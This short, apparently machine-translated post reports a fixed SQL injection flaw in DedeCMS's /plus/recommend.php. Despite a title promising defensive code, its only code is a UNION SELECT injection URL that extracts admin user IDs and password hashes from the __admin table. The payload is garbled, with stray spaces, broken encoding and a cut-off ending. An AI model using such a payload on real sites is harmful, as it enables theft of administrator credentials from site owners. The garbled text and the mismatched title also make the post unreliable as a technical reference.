The latest DedeCMS uses code to kill SQL injection vulnerabilities

 

Dedecms is the PHP open source website content management system ). DedeCms is widely known for its simplicity, practicality, and open source. DedeCms is the most well-known PHP open source website management system in China and the most popular php cms system. Recently, A netizen found the SQL Injection Vulnerability in dedecms in the full version. The latest official version has fixed the vulnerability. The related code is as follows:

The code is as follows:	Copy code
/Plus/recommend. php? Action = & aid = 1 & _ FILES [type] [tmp_name] =\% 27% 20or % 20mid = @ '\ % 27' % 20 /*! 50000union *//*! 50000select */, 3, (select % 20 CONCAT (0x7c, userid, 0x7c, pwd) + from + '% 23 @__ admin' % 20 limit +), 5, 6, 9%, 4294 23 @ '\ 000027'{&_files=type={name=00001.jpg & _ FILES [type] [type] = application/octet-stream & _ FILES [type] [size] =